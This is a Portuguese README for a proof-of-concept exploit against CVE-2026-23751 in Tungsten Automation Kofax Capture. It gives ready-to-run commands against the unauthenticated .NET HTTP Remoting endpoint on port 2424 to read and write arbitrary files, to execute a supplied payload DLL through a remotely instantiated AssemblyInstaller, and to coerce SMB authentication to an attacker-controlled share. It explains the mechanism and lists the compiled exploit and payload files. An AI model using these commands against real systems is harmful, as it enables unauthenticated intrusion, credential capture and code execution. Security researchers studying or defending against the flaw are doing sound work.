
RemotingClient corrigido para explorar o CVE-2026-23751 (Tungsten Automation - Kofax Capture Leitura/Escrita de Ficheiros Não Autenticada, Execução Remota de Código e coerção SMB via .NET HTTP Remoting)
Implementação de prova de conceito da técnica .NET HTTP Remoting descrita em NewRemotingTricks da Code White, direcionada ao Tungsten Automation Kofax Capture.
Título: Tungsten Automation Kofax Capture Unauthenticated File Read/Write and Command Execution via .NET HTTP Remoting
CVE: CVE-2026-23751
Autores desta PoC (não do CVE): Filip Sanders, Siebren Kraak
A CVE-2026-23751 afeta o Tungsten Automation Kofax Capture e permite que um atacante remoto não autenticado interaja com um endpoint .NET HTTP Remoting exposto pelo ACService do Kofax Capture.
A vulnerabilidade pode ser explorada para realizar operações no contexto de segurança do serviço Kofax Capture, incluindo:
A PoC reimplementa a técnica de .NET Remoting relevante do projeto NewRemotingTricks da Code White.
A PoC tem como alvo o endpoint HTTP Remoting do ACService do Kofax Capture:
http://<target>:2424/ACService
A porta 2424 é a porta HTTP Remoting padrão usada pelo serviço afetado.
O PoC suporta três operações:
read
write
exec
A sintaxe geral é:
RemotingClient_MBRO_Lazy.exe <operation> <object-url> <file-url> [content]
O exemplo a seguir lê o arquivo hosts do Windows no alvo:
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService C:\Windows\System32\drivers\etc\hosts
Um arquivo de configuração do Kofax Capture pode ser lido de forma semelhante:
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService C:\ProgramData\Kofax\Remoting\Client\Configuration\ConfigInfo.xml
Recursos remotos também podem ser acessados usando um URI file://:
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService file://\\<attacker>\share\file.txt
O conteúdo retornado pelo WebClient remoto é escrito na saída padrão.
Um arquivo pode ser escrito em um local acessível pelo serviço Kofax Capture fornecendo o caminho de destino seguido pelo conteúdo:
PS C:/> .\RemotingClient_MBRO_Lazy.exe write http://<target>:2424/ACService C:\Windows\Temp\test.txt HelloWorld
O conteúdo fornecido é codificado como UTF-8 e enviado usando o WebClient instanciado remotamente.
A mesma funcionalidade pode ser usada com um caminho UNC para gravar em um compartilhamento SMB remoto:
PS C:/> .\RemotingClient_MBRO_Lazy.exe write http://<target>:2424/ACService \\<remote_host>\share\file.txt HelloWorld
A capacidade de acessar o recurso remoto depende das permissões e do contexto de segurança do serviço Kofax Capture.
A operação read pode ser usada com um recurso file:// remoto para fazer com que o alvo acesse um recurso SMB controlado pelo atacante:
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService file://\\<attacker>\share\file.txt
Isso pode fazer com que o host afetado se autentique no servidor SMB controlado pelo atacante, dependendo do ambiente de destino e da sua configuração de segurança.
A operação exec pode ser usada para executar um assembly .NET fornecido no contexto do serviço remoto Kofax Capture.
O assembly é primeiro enviado ao destino e depois carregado usando um AssemblyInstaller instanciado remotamente:
PS C:/> .\RemotingClient_MBRO_Lazy.exe exec http://<target>:2424/ACService C:\Windows\Temp\payload.dll
O caminho fornecido é usado como destino para o assembly carregado e, em seguida, passado ao AssemblyInstaller remoto. O assembly é carregado no lado do servidor e instalado por meio do mecanismo de instalação do .NET Framework.
Após a execução, o PoC lê a saída da execução de:
C:\Windows\Temp\pwn_out.txt
O comportamento exato do payload depende do conteúdo de Payload.dll.
A vulnerabilidade envolve o uso de .NET HTTP Remoting pelo ACService do Kofax Capture.
O .NET Remoting fornece mecanismos para comunicação com instâncias remotas de MarshalByRefObject. Ao interagir com o endpoint de remoting exposto e manipular o contexto de chamada lógico, o PoC pode obter instâncias remotas de classes do .NET Framework que herdam de MarshalByRefObject.
O PoC utiliza esse comportamento para obter instâncias remotas de:
System.Net.WebClient
System.Configuration.Install.AssemblyInstaller
Um WebClient instanciado remotamente pode então ser usado para realizar operações de sistema de arquivos e de rede a partir do contexto do serviço Kofax Capture.
Para execução de comandos, o PoC carrega Payload.dll usando o WebClient remoto, obtém um AssemblyInstaller remoto, define seu caminho de assembly e invoca o mecanismo de instalação. Isso faz com que o assembly fornecido seja carregado e executado no alvo.
O PoC, portanto, demonstra as seguintes primitivas:
MarshalByRefObjectA funcionalidade write atualmente opera sobre dados de string codificados em UTF-8. Tipos de arquivo e formatos de payload adicionais podem ser suportados modificando o código-fonte.
ACService do Kofax Capture do alvoRemotingClient_MBRO_Lazy.exePayload.dll ao usar a operação execNenhuma autenticação no serviço Kofax Capture é necessária para a exploração.
CVE-2026-23751-poc/
├── RemotingClient_MBRO_Lazy/
│ └── RemotingClient_MBRO_Lazy.exe
├── Shared/
│ └── Shared.dll
├── Payload/
│ └── Payload.dll
└── README.md
Filip Sanders
Siebren Kraak
Este repositório é fornecido apenas para fins de pesquisa de segurança, validação de vulnerabilidades e testes de penetração autorizados.
Não utilize este PoC contra sistemas sem autorização explícita. Os autores não são responsáveis por danos, perda de dados, acesso não autorizado ou outras consequências resultantes do uso indevido deste software.